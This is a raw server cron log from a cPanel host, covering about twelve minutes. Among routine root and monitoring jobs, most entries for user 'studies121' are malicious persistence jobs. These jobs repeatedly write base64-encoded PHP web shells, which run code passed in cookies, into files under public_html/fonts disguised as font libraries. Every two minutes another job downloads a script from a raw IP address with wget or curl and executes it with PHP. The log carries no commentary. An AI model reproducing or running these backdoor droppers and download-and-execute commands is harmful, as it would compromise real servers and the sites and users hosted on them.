Sep  5 13:00:02 ip-184-168-122-23 CROND[21559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:00:02 ip-184-168-122-23 CROND[21560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:00:02 ip-184-168-122-23 CROND[21561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:00:02 ip-184-168-122-23 CROND[21562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:01:01 ip-184-168-122-23 CROND[21717]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 13:01:01 ip-184-168-122-23 CROND[21720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:01:01 ip-184-168-122-23 CROND[21719]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 13:01:01 ip-184-168-122-23 CROND[21721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:01:01 ip-184-168-122-23 CROND[21718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:01:01 ip-184-168-122-23 CROND[21722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21717]: starting 0anacron
Sep  5 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21739]: finished 0anacron
Sep  5 13:02:01 ip-184-168-122-23 CROND[21973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:02:01 ip-184-168-122-23 CROND[21976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:02:01 ip-184-168-122-23 CROND[21977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:02:01 ip-184-168-122-23 CROND[21978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:02:01 ip-184-168-122-23 CROND[21975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:03:01 ip-184-168-122-23 CROND[22131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:03:01 ip-184-168-122-23 CROND[22134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:03:01 ip-184-168-122-23 CROND[22133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:03:01 ip-184-168-122-23 CROND[22135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:04:01 ip-184-168-122-23 CROND[22261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:04:01 ip-184-168-122-23 CROND[22262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:04:01 ip-184-168-122-23 CROND[22264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:04:01 ip-184-168-122-23 CROND[22263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:04:01 ip-184-168-122-23 CROND[22265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:05:01 ip-184-168-122-23 CROND[22406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:05:01 ip-184-168-122-23 CROND[22408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:05:01 ip-184-168-122-23 CROND[22410]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 13:05:01 ip-184-168-122-23 CROND[22409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:05:01 ip-184-168-122-23 CROND[22407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:05:01 ip-184-168-122-23 CROND[22411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:05:01 ip-184-168-122-23 CROND[22412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:06:01 ip-184-168-122-23 CROND[22568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:06:01 ip-184-168-122-23 CROND[22570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:06:01 ip-184-168-122-23 CROND[22572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:06:01 ip-184-168-122-23 CROND[22571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:06:01 ip-184-168-122-23 CROND[22573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:07:01 ip-184-168-122-23 CROND[22745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:07:01 ip-184-168-122-23 CROND[22746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:07:01 ip-184-168-122-23 CROND[22747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:07:01 ip-184-168-122-23 CROND[22749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:08:01 ip-184-168-122-23 CROND[22856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:08:01 ip-184-168-122-23 CROND[22859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:08:01 ip-184-168-122-23 CROND[22858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:08:01 ip-184-168-122-23 CROND[22860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:08:01 ip-184-168-122-23 CROND[22862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:09:01 ip-184-168-122-23 CROND[22994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:09:01 ip-184-168-122-23 CROND[22993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:09:01 ip-184-168-122-23 CROND[22995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:09:01 ip-184-168-122-23 CROND[22992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:09:01 ip-184-168-122-23 CROND[22996]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 13:10:01 ip-184-168-122-23 CROND[23135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:10:01 ip-184-168-122-23 CROND[23137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:10:01 ip-184-168-122-23 CROND[23138]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:10:01 ip-184-168-122-23 CROND[23142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:10:01 ip-184-168-122-23 CROND[23143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:10:01 ip-184-168-122-23 CROND[23141]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:10:01 ip-184-168-122-23 CROND[23139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:10:01 ip-184-168-122-23 CROND[23140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:11:01 ip-184-168-122-23 CROND[23281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:11:01 ip-184-168-122-23 CROND[23282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:11:01 ip-184-168-122-23 CROND[23284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:11:01 ip-184-168-122-23 CROND[23283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:12:01 ip-184-168-122-23 CROND[23515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
